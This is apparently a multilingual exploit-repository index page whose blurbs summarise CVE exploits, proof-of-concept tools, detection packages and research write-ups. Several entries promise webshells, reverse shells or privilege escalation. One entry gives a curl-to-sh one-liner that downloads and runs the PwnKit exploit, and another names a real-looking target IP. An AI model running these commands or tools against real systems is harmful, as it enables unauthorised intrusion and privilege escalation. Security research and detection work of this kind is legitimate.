ctf_writeups

Condivisione di writeup e codici exploit...

CVE-2022-31814

CVE-2022-31814 Exploit aggiornato - pfBlockerNG = 2.1.426 RCE non autenticata CVE-2022-31814 Descrizione Questo script è un exploit proof-of-concept per pfBlockerNG = 2.1.426 che consente l'esecuzione remota di codice. Prende un singolo URL target o un elenco di URL, tenta di caricare una shell...

CVE-2025-24367-Cacti-Exploit

CVE-2025-24367-WebShell Exploit Ho creato questo piccolo script per CVE-2025-24367 - Di Cacti, uno script realizzato per ottenere una webshell grazie alla vulnerabilità di Cacti nella versione 1.2.28. Utilizzo dello script: root@kitploit: python CVE-2025-24367-Exploit.py --url...

ollama-consumer

ollama-consumer App consumatore demo bloccata alla versione github.com/ollama/ollama v0.5.0 — utilizzata da Endor Labs per dimostrare il rilevamento delle vulnerabilità e l'analisi della catena di exploit contro la libreria upstream ollama...

invokeai-consumer

invokeai-consumer App consumer demo ancorata a invokeai==5.0.1 — usata da Endor Labs per dimostrare il rilevamento di vulnerabilità e l'analisi delle catene di exploit contro la libreria upstream invokeai. v5.0.1 è la versione specifica indicata nel CVE di origine CVE-2024-10821...

zero-click-exploit-analysis

Zero-Click, Vecchi Trucchi Anatomia della catena di exploit zero-click di WhatsApp/ImageIO del 2025 CVE-2025-55177 + CVE-2025-43300. Documento di ricerca più un compagno web interattivo con guide dettagliate delle CVE, differenze delle patch e laboratori pratici su heap/stack. Sito live:...

46635.py_CVE-2019-9053

46635.pyCVE-2019-9053 Este é o código modificado do exploit 46635 de python2 para python3. O arquivo run contém o código modificado 46635 . . Baixe o arquivo run e use isto...

CVE-2023-3450

CVE-2023-3450 fofa：iconhash="-399311436" Beispiel：http://123.54.231.201:6060 Usage: python3 CVE-2023-3450.py -h, --help python3 CVE-2023-3450.py -u URL, --url URL python3 CVE-2023-3450.py -f FILE, --file FILE...

sploit

sploit Sploit is a Go package that aids in binary analysis and exploitation. The motivating factor behind the development of sploit is to be able to have a well designed API with functionality that rivals some of the more common Python exploit development frameworks while taking advantage of the ...

CVE-2018-6065-exploit

Chrome V8 CVE-2018-6065 Exploit Análise no blog: https://b1tg.github.io/post/cve-2018-6065-analysis root@kitploit: git reset 0407506af3d9d7e2718be1d8759296165b218fcf --hard gclient sync -f tools/dev/v8gen.py x64.debug ninja -C out.gn/x64.debug tools/dev/v8gen.py x64.release ninja -C...

KERNELexploits

PwnKit Exploit autonomo per CVE-2021-4034 - Escalation dei privilegi locali di Pkexec Utilizzo Dovrebbe funzionare subito sulle distribuzioni Linux vulnerabili basate su Ubuntu, Debian, Fedora e CentOS. root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh...

CVE-2022-23270-PPTP

CVE-2022-23270 Un pacchetto per rilevare CVE-2022-23270, una vulnerabilità nell'implementazione PPTP di Microsoft. Esempio Puoi eseguire questa logica sul PCAP incluso nella directory testing\traces: root@kitploit: $ zeek -Cr CVE-2022-23270-exploited.pcap packages $ cat notice.log separator \x09...

CVE-2014-6287

PoC exploit script bash bash.webm Informazioni sull'exploit Puoi ottenere una reverse shell con il file .sh su Linux Puoi ottenere una reverse shell con il file .py su Windows e Linux su Windows, devi installare netcat Devi specificare l'URL esempio: http://target.com/ utilizzo per .py: python...

Next.JS-CVE-2025-29927

Scanner di Vulnerabilità Next.js CVE-2025-29927 Uno strumento di sicurezza per rilevare e verificare applicazioni Next.js vulnerabili a CVE-2025-29927 Bypass dell'autenticazione. Funzionalità 🎯 Rilevamento accurato di Next.js con molteplici metodi di verifica 🔍 Confronto preciso delle versioni pe...

CVE-2025-24893-POC

CVE-2025-24893 Installa bun: root@kitploit: curl -fsSL https://bun.com/install | bash Per installare le dipendenze: root@kitploit: bun install Per eseguire: root@kitploit: bun run CVE-2025-24893.ts Questo progetto è stato creato utilizzando bun init in bun v1.2.19. Bun è un runtime JavaScript...

CVE-2025-70559

cambia la directory di upload nello script python python3 exploit.py LHOST LPORT...

CVE-2026-9198

Exploit CVE-2026-9198 IBM Langflow Qua sto solo ricaricando roba di qualcun altro, ancora una volta quindi se vuoi sapere la password guarda il video https://youtu.be/qoQbyAhrzKg?si=8Wogp3OHNo-0CvIQ...

CVE_2026_40369

CVE202640369 Exploit poc ed exp per CVE202640369, legati alla mia analisi, usano cmake. Il codice di debug, i file poc ed exp per la riproduzione di CVE202640369 sono scritti usando cmake. Come al solito, basta usare i normali comandi cmake per completare la compilazione. Articoli di analisi:...

sonos

sonos/amlogic haxx Hier findest du etwas Exploit- & Tool-Code, der Teil meines Vortrags über den Sonos One auf der Hack in the Box amsterdam 2023 war. Der EL3-Exploit kann verwendet werden, um deine OTP/eFUSE-Daten auszulesen. sonostool kann verwendet werden, um Entschlüsselungsschlüssel für...

RunAsWinTcb

RunAsWinTcb अवलोकन RunAsWinTcb एक उपयोगकर्ता-स्तरीय userland शोषण का उपयोग करके एक DLL को WinTcb-Light सुरक्षा स्तर के साथ चलाता है। भेद्यता और शोषण की क्षमताओं का अवलोकन यहाँ पाया जा सकता है: https://tastypepperoni.medium.com/running-exploit-as-protected-process-ligh-from-userland-f4c7dfe63387...